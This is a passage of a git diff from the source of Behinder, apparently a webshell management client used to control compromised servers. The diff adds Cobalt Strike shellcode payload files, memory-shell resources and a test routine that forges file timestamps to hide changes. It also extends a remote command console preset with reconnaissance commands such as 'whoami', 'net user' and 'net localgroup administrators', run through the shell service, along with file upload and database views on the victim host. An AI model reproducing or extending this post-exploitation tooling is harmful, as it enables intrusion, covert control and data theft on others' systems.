index 0000000..df97850
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/zip.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/zxp.png b/src/main/java/net/rebeyond/behinder/resource/filetype/zxp.png
new file mode 100644
index 0000000..1ab5008
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/zxp.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/loading.gif b/src/main/java/net/rebeyond/behinder/resource/loading.gif
new file mode 100644
index 0000000..5654708
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/loading.gif differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/memshell_alive.png b/src/main/java/net/rebeyond/behinder/resource/memshell_alive.png
new file mode 100644
index 0000000..5913329
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/memshell_alive.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/memshell_dead.png b/src/main/java/net/rebeyond/behinder/resource/memshell_dead.png
new file mode 100644
index 0000000..866b538
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/memshell_dead.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/native/JavaNative_x32.dll b/src/main/java/net/rebeyond/behinder/resource/native/JavaNative_x32.dll
new file mode 100644
index 0000000..6c97560
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/native/JavaNative_x32.dll differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/native/JavaNative_x32.dll.before_delete.dll b/src/main/java/net/rebeyond/behinder/resource/native/JavaNative_x32.dll.before_delete.dll
new file mode 100644
index 0000000..c4350d7
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/native/JavaNative_x32.dll.before_delete.dll differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/native/JavaNative_x64.dll b/src/main/java/net/rebeyond/behinder/resource/native/JavaNative_x64.dll
new file mode 100644
index 0000000..852ff60
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/native/JavaNative_x64.dll differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/search.png b/src/main/java/net/rebeyond/behinder/resource/search.png
new file mode 100644
index 0000000..9d05d76
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/search.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/shellcode/cs.payload.32 b/src/main/java/net/rebeyond/behinder/resource/shellcode/cs.payload.32
new file mode 100644
index 0000000..98ae779
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/shellcode/cs.payload.32 differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/shellcode/cs.payload.64 b/src/main/java/net/rebeyond/behinder/resource/shellcode/cs.payload.64
new file mode 100644
index 0000000..c65c327
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/shellcode/cs.payload.64 differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/simple.html b/src/main/java/net/rebeyond/behinder/resource/simple.html
new file mode 100644
index 0000000..f2e05a2
--- /dev/null
+++ b/src/main/java/net/rebeyond/behinder/resource/simple.html
@@ -0,0 +1,31 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/main/java/net/rebeyond/behinder/resource/tools/tools_0.jar b/src/main/java/net/rebeyond/behinder/resource/tools/tools_0.jar
new file mode 100644
index 0000000..6fd6793
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/tools/tools_0.jar differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/tools/tools_1.jar b/src/main/java/net/rebeyond/behinder/resource/tools/tools_1.jar
new file mode 100644
index 0000000..b25811a
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/tools/tools_1.jar differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/tools/tools_2.jar b/src/main/java/net/rebeyond/behinder/resource/tools/tools_2.jar
new file mode 100644
index 0000000..e1b246e
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/tools/tools_2.jar differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/tools/tools_3.jar b/src/main/java/net/rebeyond/behinder/resource/tools/tools_3.jar
new file mode 100644
index 0000000..620fcf3
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/tools/tools_3.jar differ
diff --git a/src/main/java/net/rebeyond/behinder/ui/DatabaseView.fxml b/src/main/java/net/rebeyond/behinder/ui/DatabaseView.fxml
index 72e2129..ec49d42 100644
--- a/src/main/java/net/rebeyond/behinder/ui/DatabaseView.fxml
+++ b/src/main/java/net/rebeyond/behinder/ui/DatabaseView.fxml
@@ -32,7 +32,7 @@
-
+
diff --git a/src/main/java/net/rebeyond/behinder/ui/FileManagerViewTab.fxml b/src/main/java/net/rebeyond/behinder/ui/FileManagerViewTab.fxml
index 9ea485e..a017c0a 100644
--- a/src/main/java/net/rebeyond/behinder/ui/FileManagerViewTab.fxml
+++ b/src/main/java/net/rebeyond/behinder/ui/FileManagerViewTab.fxml
@@ -67,8 +67,8 @@
-
+
diff --git a/src/main/java/net/rebeyond/behinder/ui/Launcher.java b/src/main/java/net/rebeyond/behinder/ui/Launcher.java
index caf0833..fa0b17c 100644
--- a/src/main/java/net/rebeyond/behinder/ui/Launcher.java
+++ b/src/main/java/net/rebeyond/behinder/ui/Launcher.java
@@ -1,8 +1,64 @@
package net.rebeyond.behinder.ui;
+import net.rebeyond.behinder.utils.Utils;
+
+import javax.swing.*;
+import java.awt.*;
+import java.io.File;
+import java.io.IOException;
+import java.net.URI;
+import java.net.URL;
+
public class Launcher {
public static void main(String[] args)
{
- Main.main(args);
+ try {
+ ClassLoader.getSystemClassLoader().loadClass("javafx.application.Application");
+ Main.main(args);
+ } catch (ClassNotFoundException e) {
+ try {
+ String selfPath=Utils.getSelfPath();
+ String javafxPath=selfPath+ File.separator+"lib";
+ String cmd="java --module-path \""+javafxPath+"\" --add-modules=javafx.controls --add-modules=javafx.fxml --add-modules=javafx.base --add-modules=javafx.graphics --add-modules=javafx.web -jar";
+ cmd=cmd+" "+Utils.getSelfJarPath();
+ //System.out.println(cmd);
+ Process p = null;
+ if (System.getProperty("os.name").toLowerCase().indexOf("windows")>=0)
+ {
+ Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
+ }
+ else
+ {
+ p=Runtime.getRuntime().exec(new String[]{"bash","-c",cmd});
+ }
+ if (p.waitFor()==1)
+ {
+ Utils.setClipboardString(cmd);
+ int response=JOptionPane.showConfirmDialog(null, "本地未检测到JavaFX环境,Java11以后的版本不再集成Javafx,需要单独下载\n下载后可将javaFX SDK的lib目录拷贝至冰蝎同目录下,冰蝎会自动调用;也可通过命令行手动指定SDK目录(命令已拷贝至系统剪切板)\n是否打开网页下载?","错误", JOptionPane.YES_NO_OPTION);
+ if (response==0)
+ {
+ String url="https://openjfx.cn/dl/";
+ openWebpage(new URI(url));
+ }
+ }
+
+
+ } catch (Exception exception) {
+ //exception.printStackTrace();
+ }
+
+ }
+ }
+ public static boolean openWebpage(URI uri) {
+ Desktop desktop = Desktop.isDesktopSupported() ? Desktop.getDesktop() : null;
+ if (desktop != null && desktop.isSupported(Desktop.Action.BROWSE)) {
+ try {
+ desktop.browse(uri);
+ return true;
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ return false;
}
}
diff --git a/src/main/java/net/rebeyond/behinder/ui/Main.fxml b/src/main/java/net/rebeyond/behinder/ui/Main.fxml
index d0f5f6e..e72ff60 100644
--- a/src/main/java/net/rebeyond/behinder/ui/Main.fxml
+++ b/src/main/java/net/rebeyond/behinder/ui/Main.fxml
@@ -3,27 +3,31 @@
-
+
+
-
+
+
+
+
@@ -35,17 +39,32 @@
-
+
+
-
-
+
+
-
+
+
+
+
+
+
+
@@ -61,7 +69,7 @@
-
+
diff --git a/src/main/java/net/rebeyond/behinder/ui/Test.java b/src/main/java/net/rebeyond/behinder/ui/Test.java
new file mode 100644
index 0000000..1e85166
--- /dev/null
+++ b/src/main/java/net/rebeyond/behinder/ui/Test.java
@@ -0,0 +1,94 @@
+package net.rebeyond.behinder.ui;
+
+import net.rebeyond.behinder.utils.Utils;
+
+import java.io.File;
+import java.lang.management.ManagementFactory;
+import java.lang.reflect.Method;
+import java.net.Socket;
+import java.net.URL;
+import java.nio.channels.SocketChannel;
+import java.nio.file.LinkOption;
+import java.nio.file.Path;
+import java.text.DateFormat;
+import java.text.SimpleDateFormat;
+import java.util.Random;
+
+public class Test {
+ private SocketChannel socketChannel;
+ private Socket socket;
+ private String action;
+
+
+ private void test() throws Exception {
+ /*File f=new File("/etc/passwd");
+
+
+ Class FilesCls = this.getClass().forName("java.nio.file.Files");
+ Class PosixFileAttributesCls=this.getClass().forName("java.nio.file.attribute.PosixFileAttributes");
+ Class PathsCls=this.getClass().forName("java.nio.file.Paths");
+ Class PosixFilePermissionsCls=this.getClass().forName("java.nio.file.attribute.PosixFilePermissions");
+ Object file = PathsCls.getMethod("get", String.class,String[].class).invoke(PathsCls.getClass(),"/etc/passwd",new String[]{});
+ Object attrs=FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls,file,PosixFileAttributesCls,new LinkOption[]{});
+
+ Object result=PosixFilePermissionsCls.getMethod("toString",java.util.Set.class).invoke(PosixFilePermissionsCls,PosixFileAttributesCls.getMethod("permissions").invoke(attrs));
+ System.out.println(result);*/
+
+
+ /*Class FilesCls = this.getClass().forName("java.nio.file.Files");
+ Class BasicFileAttributesCls=this.getClass().forName("java.nio.file.attribute.BasicFileAttributes");
+ Class PathsCls=this.getClass().forName("java.nio.file.Paths");
+ Object file = PathsCls.getMethod("get", String.class,String[].class).invoke(PathsCls.getClass(),"/etc/passwd",new String[]{});
+ Object attrs=FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls,file,BasicFileAttributesCls,new LinkOption[]{});
+ Object createTime=BasicFileAttributesCls.getMethod("creationTime").invoke(attrs);
+ Object lastAccessTime=BasicFileAttributesCls.getMethod("lastAccessTime").invoke(attrs);
+ Object lastModifiedTime=BasicFileAttributesCls.getMethod("lastModifiedTime").invoke(attrs);
+ System.out.println(createTime);
+ System.out.println(lastAccessTime);
+ System.out.println(lastModifiedTime);*/
+ DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
+ File f = new File("/tmp/b.txt");
+ Class PathsCls=Class.forName("java.nio.file.Paths");
+ Class BasicFileAttributeViewCls=Class.forName("java.nio.file.attribute.BasicFileAttributeView");
+ Class FileTimeCls=Class.forName("java.nio.file.attribute.FileTime");
+ Method getFileAttributeView=Class.forName("java.nio.file.Files").getMethod("getFileAttributeView", Path.class, Class.class, LinkOption[].class);
+ Object attributes=getFileAttributeView.invoke(Class.forName("java.nio.file.Files"),PathsCls.getMethod("get", String.class,String[].class).invoke(PathsCls.getClass(),"/tmp/b.txt",new String[]{}),BasicFileAttributeViewCls,new LinkOption[]{});
+ Object createTime=FileTimeCls.getMethod("fromMillis", long.class).invoke(FileTimeCls,df.parse("2021/01/12 20:57:51").getTime());
+ Object modifyTime=FileTimeCls.getMethod("fromMillis",long.class).invoke(FileTimeCls,df.parse("2021/01/12 20:57:54").getTime());
+ Object accessTime=FileTimeCls.getMethod("fromMillis",long.class).invoke(FileTimeCls,df.parse("2021/01/12 20:57:57").getTime());
+ BasicFileAttributeViewCls.getMethod("setTimes", FileTimeCls, FileTimeCls, FileTimeCls).invoke(attributes,modifyTime,accessTime,createTime);
+
+
+ }
+ public static String getFileType(String fileName)
+ {
+ int extIndex=fileName.lastIndexOf(".");
+ return extIndex>=0?fileName.substring(extIndex+1).toLowerCase():"";
+ }
+ private static String getCurrentPID() {
+ String name = ManagementFactory.getRuntimeMXBean().getName();
+
+ String pid = name.split("@")[0];
+ return pid;
+ }
+ public static void main(String[] args) throws Exception {
+
+ String cmd="java14 --module-path \"/Users/rebeyond/lib\" --add-modules=javafx.controls --add-modules=javafx.fxml --add-modules=javafx.base --add-modules=javafx.graphics --add-modules=javafx.web -jar /Users/rebeyond/Behinder.jar";
+ //System.out.println(cmd);
+ Runtime.getRuntime().exec(new String[]{"bash","-c",cmd});
+
+
+ }
+ private static String getParentPath(String currentPath)
+ {
+ String parentPath=currentPath;
+
+ //System.out.println("current path:"+currentPath);
+ File parentFile=new File(currentPath).getParentFile();
+ //System.out.println("current file:"+parentFile+",current path"+parentFile.getPath());
+ if (parentFile!=null)
+ parentPath=parentFile.getPath(); //因为路径里面最后有个/,所以向上要取两次才能得到上级目录
+ //System.out.println("parent return:"+Utils.formatPath(parentPath));
+ return Utils.formatPath(parentPath);
+ }
+}
diff --git a/src/main/java/net/rebeyond/behinder/ui/TunnelViewTab.fxml b/src/main/java/net/rebeyond/behinder/ui/TunnelViewTab.fxml
index 14b3364..e831740 100644
--- a/src/main/java/net/rebeyond/behinder/ui/TunnelViewTab.fxml
+++ b/src/main/java/net/rebeyond/behinder/ui/TunnelViewTab.fxml
@@ -11,9 +11,11 @@
-
-
-
+
+
+
+
+
@@ -32,7 +34,7 @@
-
+
@@ -65,7 +67,7 @@
-
+
@@ -94,16 +96,55 @@
-
-
+
+
-
+
-
+
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/src/main/java/net/rebeyond/behinder/ui/controller/CmdViewController.java b/src/main/java/net/rebeyond/behinder/ui/controller/CmdViewController.java
index 43a6471..c954c96 100644
--- a/src/main/java/net/rebeyond/behinder/ui/controller/CmdViewController.java
+++ b/src/main/java/net/rebeyond/behinder/ui/controller/CmdViewController.java
@@ -1,5 +1,8 @@
package net.rebeyond.behinder.ui.controller;
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Arrays;
import java.util.List;
import java.util.Map;
import javafx.application.Platform;
@@ -8,8 +11,10 @@
import javafx.scene.control.TextArea;
import javafx.scene.input.KeyCode;
import javafx.scene.input.KeyEvent;
+import net.rebeyond.behinder.core.Constants;
import net.rebeyond.behinder.core.ShellService;
import net.rebeyond.behinder.dao.ShellManager;
+import net.rebeyond.behinder.utils.Utils;
import org.json.JSONObject;
public class CmdViewController {
@@ -23,6 +28,8 @@ public class CmdViewController {
private Label statusLabel;
private int running;
private int currentPos;
+ private int historyIndex;
+ private List history = new ArrayList();
public void init(ShellService shellService, List workList, Label statusLabel, Map basicInfoMap) {
this.currentShellService = shellService;
@@ -37,28 +44,125 @@ private void initCmdView() {
String currentPath = (String)this.basicInfoMap.get("currentPath");
this.cmdTextArea.setText(currentPath + " >");
this.currentPos = this.cmdTextArea.getLength();
+ this.initHistory();
+ }
+
+ private void initHistory() {
+ String[] presetCmdWindows = new String[]{"ipconfig", "whoami", "ver", "net user", "net localgroup administrators"};
+ String[] presetCmdLinux = new String[]{"ipconfig", "id", "uname -a", "ps aux"};
+ if (this.getCurrentOSType() == Constants.OS_TYPE_WINDOWS) {
+ this.history.addAll(Arrays.asList(presetCmdWindows));
+ } else {
+ this.history.addAll(Arrays.asList(presetCmdLinux));
+ }
+
+ }
+
+ private String loadHistoryCmd(int index, int direction) {
+ String currentHistoryCmd = (String)this.history.get(index);
+ this.removeCurrentCmd();
+ if (direction == Constants.HISTORY_DIRECTION_UP) {
+ int maxHistory = this.history.size() - 1;
+ this.cmdTextArea.appendText(currentHistoryCmd);
+ if (this.historyIndex < maxHistory) {
+ ++this.historyIndex;
+ }
+ } else if (direction == Constants.HISTORY_DIRECTION_DOWN) {
+ this.cmdTextArea.appendText(currentHistoryCmd);
+ if (this.historyIndex > 0) {
+ --this.historyIndex;
+ }
+ }
+
+ return (String)this.history.get(index);
+ }
+
+ private void addHistory(String cmd) {
+ cmd = cmd.trim();
+ String lastCmd = (String)this.history.get(0);
+ if (!cmd.equals(lastCmd) && !cmd.equals("")) {
+ this.history.add(0, cmd);
+ }
+
+ this.historyIndex = 0;
}
public void onCMDKeyPressed(KeyEvent keyEvent) {
KeyCode keyCode = keyEvent.getCode();
- if (keyCode == KeyCode.BACK_SPACE && this.currentPos >= this.cmdTextArea.getCaretPosition()) {
- keyEvent.consume();
+ if (keyCode == KeyCode.BACK_SPACE) {
+ if (this.currentPos >= this.cmdTextArea.getCaretPosition()) {
+ keyEvent.consume();
+ }
+ } else {
+ label66: {
+ if (keyCode != KeyCode.KP_UP && keyCode != KeyCode.UP) {
+ if (keyCode != KeyCode.KP_DOWN && keyCode != KeyCode.DOWN) {
+ break label66;
+ }
+
+ this.loadHistoryCmd(this.historyIndex, Constants.HISTORY_DIRECTION_DOWN);
+ keyEvent.consume();
+ return;
+ }
+
+ this.loadHistoryCmd(this.historyIndex, Constants.HISTORY_DIRECTION_UP);
+ keyEvent.consume();
+ return;
+ }
+ }
+
+ if (!this.isEditable()) {
+ this.cmdTextArea.positionCaret(this.cmdTextArea.getLength());
}
if (keyCode == KeyCode.ENTER) {
- int lineCount = this.cmdTextArea.getParagraphs().size();
- String lastLine = ((CharSequence)this.cmdTextArea.getParagraphs().get(lineCount - 1)).toString();
- if (lastLine.trim().length() == 0) {
- lastLine = ((CharSequence)this.cmdTextArea.getParagraphs().get(lineCount - 2)).toString();
+ this.statusLabel.setText("[!]正在执行命令,请稍后……");
+ String cmd = this.getCurrentCmd();
+ String cdPath = "";
+ if (cmd.startsWith("cd ")) {
+ cdPath = cmd.substring(2).trim();
+ if (cdPath.equals("..")) {
+ cdPath = this.getParentPath(this.getCurrnetPath());
+ this.setCurrnetPath(cdPath);
+ } else {
+ if (cdPath.equals(".")) {
+ this.cmdTextArea.appendText("\n" + this.getCurrnetPath() + " >");
+ keyEvent.consume();
+ return;
+ }
+
+ if (cdPath.equals("\\")) {
+ if (this.getCurrentOSType() == Constants.OS_TYPE_WINDOWS) {
+ cdPath = Utils.getRootPath(this.getCurrnetPath());
+ }
+ } else {
+ if (cdPath.equals("~")) {
+ String workPath = (String)this.basicInfoMap.get("workPath");
+ this.cmdTextArea.appendText("\n" + workPath + " >");
+ this.setCurrnetPath(workPath);
+ keyEvent.consume();
+ return;
+ }
+
+ if (!cdPath.startsWith("/") && !cdPath.matches("[A-Za-z]:[\\S]*")) {
+ cdPath = Utils.formatPath(this.getCurrnetPath()) + cdPath;
+ } else {
+ cdPath = Utils.formatPath(cdPath);
+ }
+ }
+ }
}
- this.statusLabel.setText("[!]正在执行命令,请稍后……");
- int cmdStart = lastLine.indexOf(">") + 1;
- String cmd = lastLine.substring(cmdStart).trim();
+ this.addHistory(cmd);
+ final String finalCdPath = cdPath;
Runnable runner = () -> {
try {
- final JSONObject resultObj = this.currentShellService.runCmd(cmd);
- final String statusText = resultObj.getString("status").equals("success") ? "[+]命令执行成功。" : "[-]命令执行失败。";
+ final JSONObject resultObj = this.currentShellService.runCmd(this.addPathInfo(cmd), this.getCurrnetPath());
+ final String statusText = resultObj.getString("status").equals("fail") ? "[-]命令执行失败。" : "[+]命令执行成功。";
+ if (cmd.startsWith("cd ") && resultObj.getString("status").equals("success")) {
+ this.setCurrnetPath(finalCdPath);
+ }
+
Platform.runLater(new Runnable() {
public void run() {
CmdViewController.this.statusLabel.setText(statusText);
@@ -67,10 +171,10 @@ public void run() {
CmdViewController.this.currentPos = CmdViewController.this.cmdTextArea.getLength();
}
});
- } catch (final Exception var4) {
+ } catch (final Exception var5) {
Platform.runLater(new Runnable() {
public void run() {
- CmdViewController.this.statusLabel.setText("[-]操作失败:" + var4.getMessage());
+ CmdViewController.this.statusLabel.setText("[-]操作失败:" + var5.getMessage());
}
});
}
@@ -83,4 +187,92 @@ public void run() {
}
}
+
+ public int getCurrentOSType() {
+ String osInfo = (String)this.basicInfoMap.get("osInfo");
+ return osInfo.indexOf("windows") < 0 && osInfo.indexOf("winnt") < 0 ? Constants.OS_TYPE_LINUX : Constants.OS_TYPE_WINDOWS;
+ }
+
+ private String getCurrentCmd() {
+ int lineCount = this.cmdTextArea.getParagraphs().size();
+ String lastLine = ((CharSequence)this.cmdTextArea.getParagraphs().get(lineCount - 1)).toString();
+ if (lastLine.trim().length() == 0) {
+ lastLine = ((CharSequence)this.cmdTextArea.getParagraphs().get(lineCount - 2)).toString();
+ }
+
+ int cmdStart = lastLine.indexOf(">") + 1;
+ String cmd = lastLine.substring(cmdStart).trim();
+ return cmd;
+ }
+
+ private boolean isEditable() {
+ int lineCount = this.cmdTextArea.getParagraphs().size();
+ String lastLine = ((CharSequence)this.cmdTextArea.getParagraphs().get(lineCount - 1)).toString();
+ if (lastLine.trim().length() == 0) {
+ lastLine = ((CharSequence)this.cmdTextArea.getParagraphs().get(lineCount - 2)).toString();
+ }
+
+ int cmdStart = lastLine.indexOf(">") + 1;
+ String cmd = lastLine.substring(cmdStart).trim();
+ int totalLength = this.cmdTextArea.getText().length();
+ return this.cmdTextArea.getCaretPosition() >= totalLength - cmd.length();
+ }
+
+ private void removeCurrentCmd() {
+ int lineCount = this.cmdTextArea.getParagraphs().size();
+ String lastLine = ((CharSequence)this.cmdTextArea.getParagraphs().get(lineCount - 1)).toString();
+ if (lastLine.trim().length() == 0) {
+ lastLine = ((CharSequence)this.cmdTextArea.getParagraphs().get(lineCount - 2)).toString();
+ }
+
+ int cmdStart = lastLine.indexOf(">") + 1;
+ String cmd = lastLine.substring(cmdStart).trim();
+ int totalLength = this.cmdTextArea.getText().length();
+ this.cmdTextArea.deleteText(totalLength - cmd.length(), totalLength);
+ }
+
+ private String getCurrnetPath() {
+ int lineCount = this.cmdTextArea.getParagraphs().size();
+ String lastLine = ((CharSequence)this.cmdTextArea.getParagraphs().get(lineCount - 1)).toString();
+ if (lastLine.trim().length() == 0) {
+ lastLine = ((CharSequence)this.cmdTextArea.getParagraphs().get(lineCount - 2)).toString();
+ }
+
+ return lastLine.substring(0, lastLine.indexOf(">")).trim();
+ }
+
+ private void setCurrnetPath(String currentPath) {
+ this.basicInfoMap.put("currentPath", currentPath);
+ }
+
+ private String getParentPath(String currentPath) {
+ String parentPath = currentPath;
+ if (!this.isRootPath(currentPath)) {
+ File parentFile = (new File(currentPath)).getParentFile();
+ if (parentFile != null) {
+ parentPath = parentFile.getPath();
+ }
+ }
+
+ return Utils.formatPath(parentPath);
+ }
+
+ private boolean isRootPath(String path) {
+ boolean result = false;
+ if (path.equals("/") || path.matches("^[A-Za-z]:/$")) {
+ result = true;
+ }
+
+ return result;
+ }
+
+ private String addPathInfo(String cmd) {
+ if (this.getCurrentOSType() == Constants.OS_TYPE_WINDOWS) {
+ cmd = String.format("cd /d \"%s\"&%s", this.getCurrnetPath().replace("/", "\\"), cmd);
+ } else {
+ cmd = "cd " + this.getCurrnetPath() + ";" + cmd;
+ }
+
+ return cmd;
+ }
}
diff --git a/src/main/java/net/rebeyond/behinder/ui/controller/DatabaseViewController.java b/src/main/java/net/rebeyond/behinder/ui/controller/DatabaseViewController.java
index 88c2758..c33ea9d 100644
--- a/src/main/java/net/rebeyond/behinder/ui/controller/DatabaseViewController.java
+++ b/src/main/java/net/rebeyond/behinder/ui/controller/DatabaseViewController.java
@@ -5,9 +5,7 @@
import java.io.FileOutputStream;
import java.net.URI;
import java.util.ArrayList;
-import java.util.Collection;
import java.util.HashMap;
-import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Optional;
@@ -16,7 +14,6 @@
import javafx.application.Platform;
import javafx.beans.property.SimpleStringProperty;
import javafx.beans.property.StringProperty;
-import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.fxml.FXML;
@@ -34,6 +31,7 @@
import javafx.scene.control.TextField;
import javafx.scene.control.TreeItem;
import javafx.scene.control.TreeView;
+import javafx.scene.control.Alert.AlertType;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.input.MouseButton;
@@ -183,7 +181,7 @@ private void loadTreeContextMenu() {
TreeItem currentTreeItem = (TreeItem)this.schemaTree.getSelectionModel().getSelectedItem();
String tableName = currentTreeItem.getValue().toString();
String dataBaseName = currentTreeItem.getParent().getValue().toString();
- Alert alert = new Alert(Alert.AlertType.CONFIRMATION);
+ Alert alert = new Alert(AlertType.CONFIRMATION);
alert.setTitle("确认");
alert.setHeaderText("");
alert.setContentText("查询所有记录可能耗时较长,确定查询所有记录?");
@@ -397,7 +395,7 @@ private void loadTableContextMenu() {
}
private void initDatabaseType() {
- ObservableList typeList = FXCollections.observableArrayList("MySQL", "SQLServer", "Oracle");
+ ObservableList typeList = FXCollections.observableArrayList(new String[]{"MySQL", "SQLServer", "Oracle"});
this.databaseTypeCombo.setItems(typeList);
this.databaseTypeCombo.setOnAction((event) -> {
String type = this.databaseTypeCombo.getValue().toString();
@@ -462,10 +460,10 @@ private void showTables(TreeItem currentTreeItem) throws Exception {
sql = "select table_name,num_rows from user_tables";
}
- final String finalSql = sql;
+ final String sqlFinal = sql;
Runnable runner = () -> {
try {
- String resultText = this.executeSQL(connParams, finalSql);
+ String resultText = this.executeSQL(connParams, sqlFinal);
Platform.runLater(() -> {
try {
this.fillTable(resultText);
@@ -525,8 +523,7 @@ private void showDatabases(String connString) throws Exception {
} else if (databaseType.equals("oracle")) {
sql = "select sys_context('userenv','db_name') as db_name from dual";
}
-
- final String finalSql = sql;
+ final String sqlFinal = sql;
Runnable runner = () -> {
try {
if (shellType.equals("aspx")) {
@@ -534,7 +531,7 @@ private void showDatabases(String connString) throws Exception {
this.loadDriver("aspx", "oracle");
}
- String resultText = this.executeSQL(connParams, finalSql);
+ String resultText = this.executeSQL(connParams, sqlFinal);
if (resultText.equals("NoDriver")) {
this.loadDriver(shellType, (String)connParams.get("type"));
return;
@@ -731,19 +728,19 @@ private void fillTable(String resultText) throws Exception {
JSONArray fieldArray = result.getJSONArray(0);
int rows = result.length() - 1;
ObservableList tableViewColumns = FXCollections.observableArrayList();
- Iterator var6 = fieldArray.iterator();
- while(var6.hasNext()) {
- Object field = var6.next();
- String fieldName = ((JSONObject)field).get("name").toString();
+ for(int i = 0; i < fieldArray.length(); ++i) {
+ JSONObject field = fieldArray.getJSONObject(i);
+ String fieldName = field.get("name").toString();
TableColumn col = new TableColumn(fieldName);
tableViewColumns.add(col);
col.setCellValueFactory((datax) -> {
- return (ObservableValue)((List)((TableColumn.CellDataFeatures)datax).getValue()).get(0);
+ return (StringProperty)((List)((TableColumn.CellDataFeatures)datax).getValue()).get(0);
+ //return (StringProperty)((List)datax.getValue()).get(i);
});
}
- this.dataTable.getColumns().setAll((Collection)tableViewColumns);
+ this.dataTable.getColumns().setAll(tableViewColumns);
ObservableList data = FXCollections.observableArrayList();
for(int i = 1; i < rows; ++i) {
diff --git a/src/main/java/net/rebeyond/behinder/ui/controller/FileManagerViewController.java b/src/main/java/net/rebeyond/behinder/ui/controller/FileManagerViewController.java
index f1242db..904e5f2 100644
--- a/src/main/java/net/rebeyond/behinder/ui/controller/FileManagerViewController.java
+++ b/src/main/java/net/rebeyond/behinder/ui/controller/FileManagerViewController.java
@@ -40,6 +40,7 @@
import javafx.scene.control.TextField;
import javafx.scene.control.TreeItem;
import javafx.scene.control.TreeView;
+import javafx.scene.control.Alert.AlertType;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.input.KeyCode;
@@ -48,8 +49,11 @@
import javafx.scene.layout.StackPane;
import javafx.stage.FileChooser;
import javafx.stage.Window;
+import javafx.util.Callback;
+import net.rebeyond.behinder.core.Constants;
import net.rebeyond.behinder.core.ShellService;
import net.rebeyond.behinder.dao.ShellManager;
+import net.rebeyond.behinder.utils.StringUtils;
import net.rebeyond.behinder.utils.Utils;
import org.json.JSONArray;
import org.json.JSONObject;
@@ -65,6 +69,8 @@ public class FileManagerViewController {
@FXML
private TableColumn fileNameCol;
@FXML
+ private TableColumn filePermCol;
+ @FXML
private StackPane fileManagerStackPane;
@FXML
private GridPane fileListGridPane;
@@ -86,6 +92,7 @@ public class FileManagerViewController {
private List workList;
Map basicInfoMap;
private Label statusLabel;
+ private int listStage;
public void init(ShellService shellService, List workList, Label statusLabel, Map basicInfoMap) {
this.currentShellService = shellService;
@@ -96,7 +103,6 @@ public void init(ShellService shellService, List workList, Label statusLabel, Ma
try {
this.initFileManagerView();
} catch (Exception var6) {
- var6.printStackTrace();
}
}
@@ -116,7 +122,6 @@ private void initFileManagerView() throws Exception {
try {
this.saveFileContent(filePath);
} catch (UnsupportedEncodingException var4) {
- var4.printStackTrace();
}
});
@@ -156,7 +161,7 @@ public void changed(ObservableValue observable, Object oldValue, Object newValue
}
private void initCharsetCombo() {
- this.charsetCombo.setItems(FXCollections.observableArrayList("自动", "GBK", "UTF-8"));
+ this.charsetCombo.setItems(FXCollections.observableArrayList(new String[]{"自动", "GBK", "UTF-8"}));
this.charsetCombo.getSelectionModel().select(0);
this.charsetCombo.getSelectionModel().selectedItemProperty().addListener((options, oldValue, newValue) -> {
String filePath = this.filePathText.getText();
@@ -173,7 +178,7 @@ private void initCurrentPathCombo() {
});
String currentPath = (String)this.basicInfoMap.get("currentPath");
- ObservableList pathList = FXCollections.observableArrayList(currentPath);
+ ObservableList pathList = FXCollections.observableArrayList(new String[]{currentPath});
this.currentPathCombo.setItems(pathList);
this.currentPathCombo.getSelectionModel().select(0);
}
@@ -221,12 +226,12 @@ private void uploadFile() throws Exception {
resultObjx = this.currentShellService.appendFile(currentPath + fileName, (byte[])blocks.get(i));
statusx = resultObjx.getString("status");
msgx = resultObjx.getString("msg");
- final int finalInt = i;
+ final Integer finali = i;
Platform.runLater(() -> {
if (statusx.equals("fail")) {
this.statusLabel.setText("文件上传失败:" + msgx);
} else {
- this.statusLabel.setText(String.format("正在上传……%skb/%skb", bufSize * finalInt / 1024, fileContent.length / 1024));
